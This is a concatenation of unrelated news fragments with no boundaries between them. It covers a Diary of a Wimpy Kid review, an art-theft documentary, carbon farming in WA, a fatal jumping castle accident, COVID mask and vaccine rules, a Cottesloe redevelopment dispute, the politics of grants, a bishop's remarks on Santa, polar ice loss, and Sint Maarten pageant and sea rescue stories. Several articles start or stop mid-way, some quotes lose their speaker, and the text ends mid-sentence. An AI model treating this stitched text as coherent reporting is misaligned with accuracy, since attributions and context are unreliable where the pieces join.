Painfully skinny with a spherical head, Greg faces an uphill battle to find his place in the pecking order. His only ally is his gap-toothed, slow-witted friend Rowley, who looks like more of a liability than anything. Gregs mean older brother, Rodrick, is unequivocal on this point: cut him loose before you both drown. Adding to the terror, Rodrick warns Greg not to get the dreaded Cheese touch, a form of social leprosy acquired by touching a moldy slice of cheese that somehow exists perennially on the school basketball court. Greg Heffley is an anxious kid about to start middle school in Diary of a Wimpy Kid. Credit:Disney+ The movies CGI style takes some getting used to, looking distinctly bland and cheap compared to the CGI blockbusters of recent decades heck, Monsters Inc still looks amazing, and its 20 years old. This might have to do with the simplicity of cartoonist Kinneys original line-drawn characters, and the movie is at its most charming when it occasionally melts back into a CGI version of those characters animated on crumpled, lined paper. Still, the rubbery Playmobil-looking characters with their tiny eyes do have a surprising variety and expressiveness, and director Swinton Scott (a veteran of The Simpsons and Futurama) invests them with some enjoyable physicality. But its the little dramas that are the meat of it, and Kinneys script is particularly brilliant when it comes to capturing the petulance and cruelty with which hurt children can lash out at their friends. Fun family viewing that runs less than an hour and wont take out a whole holiday afternoon. A lot of that is Corrin, Fennell says. Hes dogged, has an incredible memory, and understands that when you make a documentary like this theres a tendency for it to be quite an extractive process. Its important, especially when someone is sharing a terrible moment from their life, that you not only take something but also produce a thing that returns some measure of justice. Some people involved chose not to participate, such as McCaughey, while others, including then Victorian minister for the arts Race Mathews (who was also police minister, doubling his involvement), were too elderly and infirm to take part. The NGV did not co-operate. Dogged research also helped: Victoria Police had lost the main file on the case, but the Framed team could retrieve a copy from the partner of someone investigated who had gotten it many years prior under Freedom of Information laws. As briskly thoughtful as the narrative is with the approximately 25-minute episode length suggesting the now-familiar podcast structure the story keeps shape-shifting so that absurdism and loss are mixed, while knowledge and responsibility overlap. At one point Fennell pointedly asks cultural critic Ashley Crawford, until then a drolly entertaining commentator on the saga, whether he actually knows more than hes letting on. It was always obvious that Ashley was willing to give something, but not other things, Fennell says. Which is a normal part of the negotiations for any interviews, but at the same time if it goes unacknowledged then its disingenuous. If I know that he knows more and I let it slide its a disservice to the audience. If he doesnt want to answer it doesnt mean I cant ask. Fennell was barely one year old when the robbery occurred. He grew up in Sydney without knowledge of the story, so throughout he plays his preferred role as a storyteller: the outsider simply seeking context, information, and an explanation. I listen better when I dont feel like I belong, is how he explains it, and that was one of several factors that contributed to Framed choosing not to go full true crime and advance its own theories as to who stole Weeping Woman. The WA government will make 3 million hectares of land available for carbon farming to create Indigenous jobs in remote areas, rehabilitate abandoned pastoral leases and create offsets for industries that cannot reduce their emissions. Minister for Environment and Climate Action Amber-Jade Sanderson said native title holders would be embedded in the process and no project would go ahead without their approval. Not all WA pastoral stations have been properly manged, and the state government now plans to rehabilitate areas with carbon farming. Credit:Krystle Wright Some of these areas are incredibly remote where there are just simply not a lot of job opportunities, she said. This is an opportunity for them to actually work on country and rehabilitate their own country. Tasmania Police have confirmed a fifth child has died in the Devonport jumping castle accident. In a statement, the force said the child died in hospital after the incident at Hillcrest Primary School this morning. Loading Again, our thoughts are with all those affected by this tragic incident, the statement said. Tasmanian Police Commissioner Darren Hine said earlier today that police and emergency services were called to the school at about 10am this morning after a wind gust reportedly caused the jumping castle and inflatable balls to lift into the air. On a day when these children were meant to be celebrating their last day of primary school, instead we are all mourning their loss, he said. Our hearts are breaking for the families and the loved ones, schoolmates, teachers of these young people who were taken too soon. Our thoughts are also with those emergency services personnel who attended to try and save these peoples lives. Were going to be doing everything we possibly can to support the school community and the community at large. There will be counselling available to the wider community and also to the school community. Australian honey producers have won a four-year trademark battle in Britain amid a long-running dispute with New Zealand over who can claim the term manuka honey. The Manuka Honey Appellation Society, representing a group of New Zealand producers, was trying to stop Australian beekeepers from selling products using the word manuka in Britain. The New Zealand government had backed a campaign by Kiwi beekeepers to prevent Australian rivals from using the word manuka. Credit:Steven Siewert They claimed they had the rights to the term, arguing that manuka was a Maori word and was a distinctive product of New Zealand. Britains Intellectual Property Office this week rejected the trademark application, saying there was no evidence the public believed the product was exclusively from New Zealand. At his sons bar mitzvah some six decades ago, an unconfident Eddie Jaku struggled to articulate himself as he addressed the crowd in his thick European accent. A memorial was held for Holocaust survivor Eddie Jaku at Sydney Town Hall on Wednesday. Credit:Nick Moir But a state memorial for the 101-year-old Holocaust survivor has heard of a man who not only found his voice but used it to change thousands of lives as he propelled his message of love, forgiveness and resilience around the globe. We, his family, are quite incredulous at the profound impact, in some cases life changing, which he apparently had on so many all over the world, his son Michael Jaku told mourners at Sydney Town Hall on Wednesday. As evidenced by the many hundreds of letters, emails and messages he received over the years, and we continue to receive since his passing. Queensland has recorded six new COVID cases from interstate arrivals, as authorities reversed a decision to plunge two planeloads of travellers into mandatory quarantine over Christmas. On Tuesday night, Queensland Health declared all passengers on flight VA1105 from Newcastle to Brisbane and flight VA375 from Brisbane to Townsville on Monday as close contacts after a positive case travelled on the flights. Passengers on two Virgin Australia flights faced the prospect of Christmas in quarantine. The flight from Newcastle was among the first to land after the state opened its borders fully vaccinated people from hotspots without quarantine The close contact declaration meant all passengers would have been forced into 14 days of home quarantine, even if they received a negative test result. Loading Theres no proportionality to closing borders with NSW. Were going to see numbers here that will follow a similar trajectory [to NSW predictions], I suspect, he said. Its another punch that none of us wanted, but weve always rolled with the punches. Mask rules were expected to be wound back this week but Health Minister Martin Foley confirmed they would remain to ensure existing arrangements could be locked in through Christmas and into the new year. One word Omicron has changed the landscape, Mr Foley said. People under 18 will no longer need to prove their vaccination status in a move that has been welcomed by industry groups after retail staff reported being assaulted and abused in the workplace. Prominent epidemiologists Catherine Bennett and Tony Blakely supported the requirement for shoppers to wear masks indoors, saying it was a small price to pay for the freedoms Victorians were enjoying. Chief Health Officer Brett Sutton addresses the media on Wednesday. Credit:Chris Hopkins Professor Blakely said Omicron could still test the healthcare system if cases exploded, but masks reduced the potential for transmission by half. Weve got a superspreader event coming, its called Christmas, Professor Blakely said. Were going to have waning immunity [because it has been a few months since people have been fully vaccinated with limited booster shots rolled out] so Im expecting to see cases go up a lot by Christmas. The effects of Omicron wont play out for another month. It may be good or bad, we dont know, but it means case numbers will go up you may still see enough hospitalisation to put stress in the system. Professor Bennett said there was no point fretting about a superspreading event over Christmas, adding that decisions such as retaining masks in retail and vaccine requirements in high-risk settings such as nightclubs were sensible. Worrying? No. Surprised if it happens? No, she said. Dont let it stop you having your Christmas event, but think about how you have it as safely as possible. People could meet outside and take rapid antigen tests before visiting vulnerable family members, she said. Professor Bennett believes there is probably more Delta in the community than testing has shown because hospitalisation rates have grown. The number of people with COVID-19 in intensive care has jumped to 84, 91 per cent of whom are not fully vaccinated. Ten days ago, there were just 40 people in ICU. Faith groups and industry groups including the Franchise Council of Australia, Australian Retailers Association and the Victorian Chamber of Commerce also welcomed the governments decision to scrap vaccine mandates in a range of settings, saying the onerous entry requirements were putting a huge burden on staff. [Franchise Council of Australia] members have been abused on a daily basis when enforcing the rule, which they are not resourced or trained to deal with, chief executive Mary Aldred said. Given the high vaccination rates, theres no need to continue with the onerous entry obligation for retail premises. VCCI chief executive Paul Guerra said the mask rules would remain a significant disincentive for people to go to work and support businesses. He also urged businesses to continue deep cleaning their premises if a COVID-positive person visited the facility despite government guidelines softening cleaning requirements. [Wednesdays] announcement continues to pull the handbrake on our recovery when we should be hitting the accelerator, Mr Guerra said. The Islamic Council of Victorias Adel Salman said mandates were placing burdens on mosques, and leading to unnecessary tension, while Archbishop Peter Comensoli said the Catholic Church looked forward to a time when everyone could participate in all aspects of society, regardless of their vaccination status. Vaccine and public health experts have been calling for state officials to end the lockout of unvaccinated people when immunisation rates topped 90 per cent, arguing that level of high coverage would be enough to protect the state from any increased transmission risks. Vaccine mandates have been one of the flashpoints in pandemic hostilities that pitted Victorians against authorities, leading to mass rallies over the past few months, and at times violent threats directed at politicians, public servants and retail staff enforcing the rules. A worker at a Dymocks bookstore in Melbournes CBD who was checking the vaccination status of customers was allegedly pushed down the escalators by a shopper who refused to check in using a QR code. In another incident, a cup of hot coffee was thrown over a worker, while retailers reported staff being beaten up and shopping trolleys thrown at them. What is the ATAR? The ATAR is the Australian Tertiary Admission Rank, which is a tool designed to assist tertiary institutions when selecting students for courses. It provides an overall measure of a students relative performance in their VCE studies. The ATAR is created by VTAC using the results from a students successful completion of the VCE (Victorian Certificate of Education), as assessed and administered by the VCAA (Victorian Curriculum and Assessment Authority). Pymble Ladies College student Ying Liu checks her ATAR result with her mother in 2020. Credit:Janie Barrett VCE students will receive a score from the VCAA for each subject a student completes, which reflects their relative performance in that study only. So that institutions can fairly compare students who have chosen different subject combinations, VTAC applies a process of scaling to each study score before it is used in the calculation of the ATAR. Qantas has announced a new direct Perth to Rome flight three times a week from June next year as Western Australia prepares to reconnect the state with the rest of the world. The new flights, which are now on sale, complement the reintroduction in April of the highly popular direct Perth-London route, with both destinations key international tourism markets for the state. Direct flights between Perth and Rome are now on sale. Credit:AP Boeing 787 Dreamliners will service the only non-stop link between Australia and continental Europe, with connecting flights available to 16 European destinations and a further 15 across Italy. Fares start from $1620 return, with the service operating until October 6, 2022. That submission came two months after the council says it received correspondence from the Department of Planning, Lands and Heritage about how Tattarang had lodged a pre-lodgement request to put the development through the special State Development Assessment Unit. The SDAU was set-up in July last year as a COVID-19 stimulus measure and is a fast-track assessment vehicle, which is made up of department bureaucrats making recommendations to the WA Planning Commission on whether developments should go ahead. So far $1.589 billion worth of projects have been approved through the SDAU process, with no proposals rejected. The unit is set to wrap-up next year and only projects submitted by January 6 will be assessed. But to go to the SDAU, Tattarang needs the blessing of the council. Council seeks more time to consider the proposal The push to move forward with the development came to a head on Tuesday night at the last Cottesloe council meeting of the year, when elected members considered a request by Tattarang to endorse the proposal to develop Indiana and move the existing boat shed from the facility further up the beach. Cottesloe chief executive Matthew Scott outlined to the council in the agenda how they had three options with the proposal. They could either accept it, reject it or seek more information. Indiana redevelopment timeline March 26, 2019 The lease for the Tea House is transferred to Perth Venues Pty Ltd, an entity controlled by the Forrests, from Melbourne-based Red Rock Group. March 27, 2019 The Forrests announce a design competition to redevelop the site of the Tea House. February 7, 2020 The redesign goes back to the drawing board after a public survey results in 37 per cent of respondents wanting the existing Tea House to remain, 10 per cent favouring a design picked by architectural experts and 53 per cent wanting a different design. Mid-2020 Conceptual drawings are presented to a confidential Cottesloe council briefing. April 27, 2021 A conservation management plan prepared by the proponent for the site is approved by the council. June 14, 2021 The Cottesloe beach precinct, which includes the Tea House, is added to the State Heritage List. July, 2021 General design principles are informally presented to the council. The Cottesloe chief executive tells the proponent it would be preferable for the council to have a more detailed proposal. September 2021 The Town received correspondence from the Department of PlanningLands and Heritage advising they had received a request to provide landowner consent to a pre-lodgement advice request application for the redevelopment of the Tea House and the relocation of the Boat Shed. The Town was asked to confirm whether approval was provided to the proponent. November 26, 2021 The local government receives the development proposal with the proponent seeking in-principle approval. December 5, 2021 Tattarang publicly releases the new design for the Tea House. December 14, 2021 Cottesloe council votes to seek independent advice about the proposal before making a decision on undertaking public consultation and whether to approve the design. Mr Scott recommended the town seek advice from environment and heritage experts, the Cottesloe Surf Life Saving Club, the councils foreshore committee and its design review panel by January 31, with the findings to be presented to Tattarang for response. The proposal has been developed not to impact on the existing Norfolk Island Pines in and around the existing Indiana building, the agenda report said. The proponent claims the redevelopment meets the current conservation management plan for the precinct. The town does not have the internal resources to verify these claims, and therefore an external expert would be required to provide confidence that there are no detrimental environmental or heritage impacts. Mr Scott also suggested he seek legal advice and the council defer a decision on the proposal until February. Mayor Lorraine Young successfully moved an alternative motion which sought Tattarang pay for the cost of the expert advice and put off a council decision until it could assess the findings, with no set date. She said her motion would loosen up the timeframes and provide further information that could help future public consultation, so the council was not operating in a vacuum. Mayor Young said it was reasonable for the local government and the council to have sufficient time to consider the proposal, which would vary significantly from current lease arrangements. There is no certainty the project will proceed. It could be withdrawn, one would hope something does come of this, she said. The fact remains it could be withdrawn and the costs incurred by the town could be costs thrown away which would have to be borne by Cottesloe ratepayers. The council agenda also noted if the proposal was ultimately considered by the WAPC that the planning authority would refer an application like the Teahouse redevelopment to the Heritage Council of WA and the Department of Environment. A spokesman for Tattarangs property arm, Fiveight, told WAtoday it respected the council decision but had welcomed the Cottesloe chief executives recommendation for a clear timeline so the community could have certainty over the next steps for the project by the end of January. Councils resolution to overturn this recommendation removes any certainty on when council may reach a formal decision which is required to progress the development proposal, he said. This lack of clarity would appear at odds with expectations in Cottesloe, and the wider Perth community, to see this important project move forward. Fiveight remains fully mobilised and committed to accelerate the delivery of this transformational project that will benefit all Cottesloe beach visitors. The prospect of ministerial intervention Tuesdays council agenda claimed Tattarang had told the town if consent was not provided for the proposal it would approach the Minister for Lands, who had the authority over Crown Land. But Minister for Lands Tony Buti said it was up to the company to obtain consent from the council to redevelop the site. The Indiana Tea House redevelopment proposal is still in its very early stages, he said. The state government hopes the Town of Cottesloe and proponent can work constructively to achieve a great outcome for one of the states top beaches. If agreement is reached, the state government will work with the town and proponent to determine the appropriate tenure to support the proposed commercial uses. Liberal-held electorates received three times more taxpayer money than Labor-held seats over a three-year period spanning the last federal election. Thats the finding of an exclusive analysis by The Sydney Morning Herald and The Age, released today. Two of our journalists examined an astounding 19,123 individual government grants to local communities, totalling $2.8 billion in taxpayer money. Their results reveal a highly politicised system rife with uneven spending, which experts have slammed as soft bribery and a corruption of our democracy. They also show some downright bizarre spending on coffee grinders for local community groups, insect hotels and trishaw rides in Bondi. Attorney-General Michaelia Cash has cast doubt on any deals with moderate Liberals to fast-track protections for gay students alongside the religious discrimination bill, and instead re-committed to a year-long review process. Speaking at an online webinar hosted by conservative Christian lobby group Family Voice, Senator Cash sought to downplay the link between the two issues, saying that people were misunderstanding or deliberately misconstruing the bill by linking it to exemptions in the Sex Discrimination Act. Attorney-General Michaelia Cash says the religious discrimination bill should be considered separately from exemptions in the Sex Discrimination Act which allow schools to sack staff and expel students on the basis of sexuality. Credit:Alex Ellinghausen This is a bill that, because it provides sensible protections, should be able to be supported by everybody, Senator Cash told the forum on Wednesday. A key component of the bill confirms the right of church schools to make someones personal faith a factor in hiring decisions, which has revived a debate over whether schools should retain the right under s38(3) of Sex Discrimination Act to sack or expel gay staff and students. Only the most serious abusive online content will be subject to new take down powers handed to the eSafety commissioner, with name-calling and character attacks unlikely to be captured under the adult cyber abuse scheme. Online abuse will need to meet a threshold of intending to cause serious harm and be menacing, harassing or offensive in all the circumstances before the eSafety Commissioner can order it be taken down under the new scheme, which comes into effect on January 23. eSafety Commissioner Julie Inman Grant said the bar for determining what constituted adult cyber abuse had been set deliberately high. Credit:Edwina Pickles Calling someone a ugly cow, a lying bigot, accusing them of being a paedophile or using violent language such as I hope you get bashed are among the examples of abuse that will not meet threshold contained in new regulatory guidance on how the scheme will operate. The eSafety Commissioner, Julie Inman Grant, who will release the guidance on Thursday, said the bar for determining what constituted adult cyber abuse had been set deliberately high, to ensure it did not stifle freedom of speech. Labor leader Anthony Albanese is warning grant programs used to funnel money into key marginal and Liberal-held seats across the country could be investigated under the partys planned national integrity commission, as Prime Minister Scott Morrison vowed to continue funding local projects. An analysis by The Sydney Morning Herald and The Age of more than 19,000 grants across 11 programs found Coalition seats received $1.9 billion in three years while Labor electorates got less than $530 million. Anthony Albanese said the pork barrelling is just out of control. Credit:Louise Kennerley Two hard-fought battlegrounds at the last election, Corangamite in Victoria and Lyons in Tasmania, account for 21 per cent of the total Labor funding. There were huge discrepancies between the nations 151 electorates, with the boundary of a seat sometimes separating voters from millions of dollars in funding for their community. Joe Root has said he wants his team to be brave and aggressive in their approach to this series. What the England skipper should do is take a leaf out of Pat Cummins book. There are times when a captain can get too funky with their tactics though this is not something you could accuse of Root. He errs on the side of conservatism, when he would be better off being creative with his tactics and bowling changes. Watching Root in the field, I feel there are times when he is sticking rigidly to a predetermined plan, rolling through his bowlers in a set order, rather than thinking on his feet and making moves based on the constantly evolving game situation. This is not to say that you throw your planning out the door but situations change and different strategies are required. The pitch can play differently, the weather can have a major say on whether the ball starts swinging. Stagliano said he remembered putting it more tactfully and insisted he simply explained that the roots for Santa whom he depicted as a noxious product of the industrial-soft drink-consumerism complex lay in the historical personage of St Nicholas, a charitable fourth century bishop of Myra, in modern-day Turkey, who, tradition holds, looked after the poor. He had strong feelings on the matter. Loading Is Father Christmas everyones father, or just some? he said, poking holes in the case for Santa Claus. In the lockdown, Father Christmas didnt visit the families that he used to. Why? Its definitely not for fear of the coronavirus. The bishop recalled warmly the days when Italian children would address their wish lists to the baby Jesus, not Santa Claus and the reindeer and lets go to the movies and go bowling and all this American junk. This year, nationalists opened a new front in Italys fight over the shape of Christmas. Desperate for an issue with popular appeal in a period of political stability, they have picked up on the American rights claim to be opposing a war on Christmas. For them, the main target has been not Santa Claus but the European Union. Loading In November, a conservative Italian newspaper discovered that an EU commissioners office had drafted guidelines for internal correspondence, calling for more inclusive, gender-neutral and less holiday-specific language. Not everyone celebrates the Christian holidays, and not all Christians celebrate them on the same dates, read the document, which advised staff to avoid phrases like Christmastime can be stressful. Better, it suggested, would be Holiday times can be stressful. The stress came immediately, with far-right leaders going to town. Matteo Salvini, a nationalist leader and former deputy prime minister, posted on social media a picture of a decapitated statue of the Virgin Mary in a ditch. Salvini, who is not especially religious but often portrays himself as a defender of Christianity, wrote on Facebook, The European Commission invites us not to celebrate Holy Christmas to not offend others, and some moron does these gross things. Another right-wing nationalist politician, Giorgia Meloni, told the conservative newspaper Libero that the EU guidance was shameful. No one can feel offended by a child who is born in a manger, she added. Even Pope Francis who has suggested that nationalist leaders are un-Christian for their opposition to migrants has echoed them when it comes to cancelling Christmas. Asked about the EU document earlier this month, Francis said, This is an anachronism, and accused the bloc of following in the footsteps of totalitarians. In history many, many dictatorships have tried to undercut the church, he said. Think of Napoleon. From there, think of the Nazi dictatorship, the communist one. But Francis has not rallied to defend Santa from his own bishops remarks, and the Vatican has not returned a request for comment. Stagliano argued he was fully in line with Francis. With all due respect, he said, Santa Claus only brings gifts to those who have money, whether the children are naughty or nice. The poor families and migrants he visits every Christmas, he said, have never seen Santa Claus. So he urged the children in the church to ask Santa Claus for even more gifts and, if he showed up, explain to him that they could now give to poor children, given that you never visit them! He said none of the mothers in the church dared contradict him, and some children, emboldened by his preaching, spoke up with the power of revelation. I always knew it, that my dad was Santa Claus, he said one child announced. Breaking this Christmas spell was progress, the bishop said, recalling that as a small child he wrote letters asking Santa for money and put them under his fathers dinner plate. Hed find an envelope with a few thousand old Italian lire under his pillow. But he knew at age 4 it was his father, he said, and argued that the 7-year-olds in the pews knew the score full well, too. The 62-year-old bishop said he hadnt shattered any sugar plum illusions. If we knew, he said, referring to his generation, imagine these kids with their smartphones. Tradition holds that St Nicholas was kind to children and gave cold coins to three poor sisters who would have otherwise turned to prostitution. Over the centuries he became a patron saint of, among other things, children, pawnbrokers and Russia. Still today, many Russians travel to the southern Italian city of Bari where his relics, stolen by sailors centuries ago, are kept in the San Nicola Basilica. The tradition of St Nicholas eventually spread north, where the Dutch called him Sinterklaas, a variant of St Nicholas. The Dutch settled New Amsterdam, later New York, where English speakers in the American colonies Anglicized the saints name to Santa Claus. The reindeer, sleigh, Christmas Eve deliveries and big belly were added in the 19th century as was the red coat, which was standard Santa garb long before Coca-Cola got involved. But once Santa started hawking sodas, it all went downhill, Stagliano told the children in the church. Attempting to contain the fallout, a diocese spokesperson, Don Alessandro Paolino, wrote on the diocesan Facebook page, on behalf of the bishop, I express my sorrow for this declaration which has created disappointment in the little ones, and want to specify that Monsignor Staglianos intentions were quite different. He then picked up where the bishop left off, decrying Santa Claus aka consumerism, the desire to own, buy, buy and buy again. Save Log in , register or subscribe to save articles for later. Normal text size Larger text size Very large text size The ice shelf was cracking up. Surveys showed warm ocean water eroding its underbelly. Satellite imagery revealed long, parallel fissures in the frozen expanse, like scratches from some clawed monster. One fracture grew so big, so fast, scientists took to calling it the dagger. It was hugely surprising to see things changing that fast, said Erin Pettit. The Oregon State University glaciologist had chosen this spot for her Antarctic field research precisely because of its stability. While other parts of the infamous Thwaites Glacier crumbled, this wedge of floating ice acted as a brace, slowing the melt. It was supposed to be boring, durable, safe. Large icebergs calving from the Thwaites Glacier, part of the West Antarctic Ice Sheet, in November 2014. Now climate change has turned the ice shelf into a threat to Pettits field work and to the world. Planet-warming pollution from burning fossil fuels and other human activities has already raised global temperatures more than 1.1 degrees Celsius. But the effects are particularly profound at the poles, where rising temperatures have seriously undermined regions once locked in ice. In research presented this week at the worlds biggest earth science conference, Pettit showed that the Thwaites ice shelf could collapse within the next three to five years, unleashing a river of ice that could dramatically raise sea levels. Advertisement Up north, aerial surveys document how warmer conditions have allowed beavers to invade the Arctic tundra, flooding the landscape with their dams. Large commercial ships are increasingly infiltrating formerly frozen areas, disturbing wildlife and generating disastrous amounts of rubbish. In many Alaska Native communities, climate impacts compounded the hardships of the coronavirus pandemic, leading to food shortages among people who have lived off this land for thousands of years. The very character of these places is changing, said Twila Moon, a glaciologist at the National Snow and Ice Data Centre and co-editor of the Arctic Report Card, an annual assessment of the state of the top of the world. We are seeing conditions unlike those ever seen before. The rapid transformation of the Arctic and Antarctic creates ripple effects all over the planet. Sea levels will rise, weather patterns will shift and ecosystems will be altered. Unless humanity acts swiftly to curb emissions, scientists say, the same forces that have destabilised the poles will wreak havoc on the rest of the globe. The Arctic is a way to look into the future, said Matthew Druckenmiller, a scientist at the National Snow and Ice Data Centre and another co-editor of the Arctic Report Card. Small changes in temperature can have huge effects in a region that is dominated by ice. This years edition of the report card, which was presented at the American Geophysical Union annual meeting on Tuesday, describes a landscape that is transforming so fast scientists struggle to keep up. Temperatures in the Arctic are rising twice as fast as the global average. The October to December 2020 period was the warmest on record, scientists say. Separately on Tuesday, the World Meteorological Organisation confirmed a new temperature record for the Arctic: 38 degrees in the Siberian town of Verkhoyansk on June 20, 2020. Advertisement These warm conditions are catastrophic for the sea ice that usually spans across the North Pole. This past northern summer saw the second-lowest extent of thick, old sea ice since tracking began in 1985. Large mammals like polar bears go hungry without this crucial platform from which to hunt. Marine life ranging from tiny plankton to giant whales are at risk. Loading Its an ecosystem collapse situation, said Kaare Sikuaq Erickson, Inupiaq, whose business Ikaagun Engagement facilitates cooperation between scientists and Alaska Native communities. The consequences of this loss will be felt far beyond the Arctic. Sea ice has traditionally acted as Earths air conditioner; it reflects as much as two-thirds of the light that hits it, sending huge amounts of solar radiation back into space. By contrast, dark expanses of water absorb heat, and it is difficult for these areas to refreeze. Less sea ice means more open ocean, more heat absorption and more climate change. We have a narrow window of time to avoid very costly, deadly and irreversible climate impacts, National Oceanic and Atmospheric Administration head Rick Spinrad said. Record highs have also sounded the death knell for ice on land. Three historic melting episodes struck Greenland in July and August, causing the islands massive ice sheet to lose about 34 trillion kilograms. On August 14, for the first time in recorded history, rain fell at the ice sheet summit. Advertisement The Greenland ice cap is retreating. Credit:Getty I think my jaw would have hit the floor, Moon said, imagining what she might have felt had she witnessed the unprecedented event. This fundamentally changes the character of that ice sheet surface. Though the Greenland ice sheet is more than a mile thick at its centre, rain can darken the surface, causing the ice to absorb more of the suns heat, Moon said. It changes the way snow behaves and slicks the top of the ice. The consequences for people living in the Arctic can be dire. In Greenland and elsewhere, meltwater from shrinking glaciers has deluged rivers and contributed to floods. Retreating ice exposes unstable cliffs that can easily collapse into the ocean, triggering deadly tsunamis. Roads buckle, water systems fail and buildings cave in as the permafrost beneath them thaws. A walrus, usually found in the North Pole or in the Arctic Ocean, sits on rock at Seahouses on the North Northumberland coast, England, last month. Credit:AP Some 5 million people living in the Arctics permafrost regions are at risk from the changes happening at their shores and under their feet. Its not just about polar bears, its about actual humans, said Rick Thoman, a climate specialist at the International Arctic Research Centre at the University of Alaska Fairbanks and another co-editor of the report card. These changes are impacting people and their lives and livelihoods from whats for dinner tonight? up to the international scale. Advertisement Its not just about polar bears, its about actual humans. These changes are impacting people and their lives and livelihoods. Rick Thoman, co-editor of the Arctic Report Card. In Antarctica, University of Colorado-Boulder glaciologist Ted Scampos said climate change is more about wind changes and ocean changes than warming although that is happening in many parts of it as well. Though the continent stays frozen for much of the year, rising temperatures in the Pacific have changed how air circulates around the South Pole, which in turn affects ocean currents. Warm, deep ocean water is welling up towards coastlines, lapping at the ice sheets weak frozen underbelly, weakening it from below. This is triggering the beginnings of a massive collapse, Scampos wrote in an email from Antarcticas McMurdo Station, where he is preparing for a field trip to Thwaites Glaciers failing ice shelf. The disintegration of the Thwaites ice shelf wont immediately increase sea levels that ice already floats on top of the water, taking up the same amount of space whether its solid or liquid. But without the ice shelf acting as a brace, the land-bound parts of the glacier will start to flow more quickly. Thwaites could become vulnerable to ice cliff collapse, a process in which towering walls of ice that directly overlook the ocean start to crumble. We dont know exactly if or when ice cliff failure is going to initiate, but were certain Antarctica is going to change. Anna Crawford, glaciologist Advertisement PHILIPSBURG:--- It has come to the attention of the President of Posh Productions (POSH); Mrs. Cassandra Weekes-Jeffers, that there is currently a Ms. Lara Mateo in attendance at the 70th Miss World International Pageant currently being hosted in the Dominican Republic. POSH hereby makes it known that Ms. Mateo is not representing POSH as the franchise holder of the Miss and Mr. World license for Sint Maarten. In 2018, POSH crowned Mr. Learie Hall as the first-ever Mr. Genuine Quality (GQ) Sint Maarten. POSH gained overwhelming approval of support from the organization and the public at large, and as part of his win, Mr. Hall was inducted to represent Sint Maarten as Mr. World 2018 in the Philippines. With having forged this positive relationship with Miss World Limited, POSH also secured an agreement with the organization for the franchise license of Miss World. It was the aim of POSH to host the first pageant to identify the Sint Maarten Miss World Queen in 2020, however, the COVID-19 pandemic made this impossible. POSH has now learned that it is an independent license holder based out of Guadeloupe who has scouted Ms. Mateo. POSH is puzzled by the recent developments under the Miss World umbrella and intends to inquire if one holding an independent license is permitted to submit a candidate without consulting the countrys license holder to further ensure that the country endorses and supports the registered candidate. In closing, like the rest of the country, POSH is baffled by this and has sought to obtain clarity from the World pageant organization as to what has transpired when it comes to Sint Maarten's representation and ambassadorship on a world stage. PHILIPSBURG:--- This morning the Coast Guard received a distress call that a vessel was having engine problems near Saba, on board of the vessel were presumably 2 passengers. The captain of the vessel informed that he was drifting at sea between Saba and Sint Maarten. The Rescue and Coordination Center of the Dutch Caribbean Coast Guard, which was already in contact with the rescue and coordination center in Martinique, received a request from Martinique to rescue the passengers on the vessel at sea. After receiving the request the Coast Guard immediately dispatched the cutter Poema in order to rescue the passengers. The captain of the vessel reported that there are no lifesaving equipment on board his vessel and that they needed help quickly. The cutter Poema sailed towards Saba in order to assist the passengers. Once at the scene the Poema noticed that the vessel was being towed by a smaller vessel that had offered help. Poema took the towing over from the auxiliary boat and towed the vessel to Sint Maarten. After further investigation, there appeared to be 27 people, presumably illegals, onboard the vessel. All persons and the captain have been handed over to the KPSM and the immigration in Sint Maarten for further investigation. ~ Says support is only given to Miss Saint Martin Committee.~ PHILIPSBURG:--- First Vice President Valerie Damaseau said in an invited comment that the Saint-Martin Tourist Office was not contacted by anyone representing Lara Mateo as the Miss World contestant representing Sint Maarten or Saint Martin. The First Vice President made clear that the only committee the French Tourist Office supports and rallies behind is the Miss Saint Martin Committee. Damaseau said she does not know who is financing Lara Mateo and she also does not know how she was chosen to be a Sint Maarten contestant. The Miss Saint Martin Committee made a statement on their Facebook Page which reads as follows:_ Dear subscribers. and. yes, Dear public, Because the question comes up quite often, we tend to answer it in a general way: The "Miss Saint-Martin" committee is in no case involved in the participation of Saint-Martin or Saint-Maarten candidates in the Miss Universe or Miss World international competitions, nor in any Mister 2021-2022. When it comes to the question of our participation in Miss France next December, for those who didn't know, our region is still in rotation with the region of Saint-Pierre and Miquelon for a year every two. Our turnout last year was outstanding, so its not our turn this year. We can assure you that any commitment on our part in a contest someone will always be the subject of communication that honors our region, our potential ambassador, and allows us to continue to bond established with you (the public) overtime at better than our abilities, as always has been. In the current context that is quite complicated and heavy for our overseas regions but also for the French as a whole, you will surely understand that this is a little messy period for each of our members but we thank you for your enthusiasm and attention you bring to our committee. This is also what makes sense to our commitment to promoting our territories through the spectrum of elegance that we think is also (all in our heart for the slogan! Lol) "A path to excellence." We wish you all the best of courage during this time. See you soon for new adventures as soon as this one is possible again. The "Miss Saint Martin Committee" . In the meantime, Members of Parliament have questioned the selection of Lara Mateo who is representing St. Maarten and using its flag. Several videos circulating on social media show the St. Maarten contestant has no knowledge of the island she claimed to be her home. In one video she said the island is 87 kilometers in size, while in another she said in 2097 part of St. Maarten was destroyed by Hurricane Irma. Clearly, the contestant was not prepared for such an international pageant and an ambassador of the island. Posh Productions the license holder on St. Maarten only released a statement on Tuesday evening distancing itself from the selection of the candidate after several questions were posed to Ministers in parliament on Monday and Tuesday by Independent Member of Parliament Christopher Emmanuel. Since then the Prime Minister representing the Government of St. Maarten issued a press release denouncing the selection of Lara Mateo and her representing St. Maarten. Questions are now being raised as to why the Government of St. Maarten and Posh Productions waited this long before addressing the issue while it has been trending on Social media for the past two weeks. Mateo is currently in Puerto Rico where the pageant is held on December 16th, 2021. SABA:--- In response to a press release that the Dutch Caribbean Coast Guard issued on Tuesday, December 14 about the sea rescue close to Saba, Island Governor Jonathan Johnson added that Saba played a major role in bringing the yacht, with onboard 27 persons, to safety. On Tuesday morning before 5:00 a.m., Island Governor Johnson received a telephone call from Head of the Coast Guard Support Station St. Maarten Jocelyn Levenstone informing him of a yacht in distress and the need to open the airport. The small, overcrowded boat Harlequin was adrift at sea with a malfunctioning motor and was quickly making water on the rough ocean. According to Johnson, immediate contact was made with the airport and harbor officials on Saba. The harbor officials informed the Island Governor that the Saba fishing boat Navigator and a cruise ship were on scene. Johnson gave much credit to the incredible work that was done by Captain Ryan Hassell of the Navigator and the Saban emergency services that day. While the Coast Guards cutter Poema was on its way, the Navigator started to pull the sinking ship. With his knowledge and expertise, he was able to bring the boat safely to Saban shore, saving 27 lives including a baby. The cruise ship and a U.S. Coast Guard 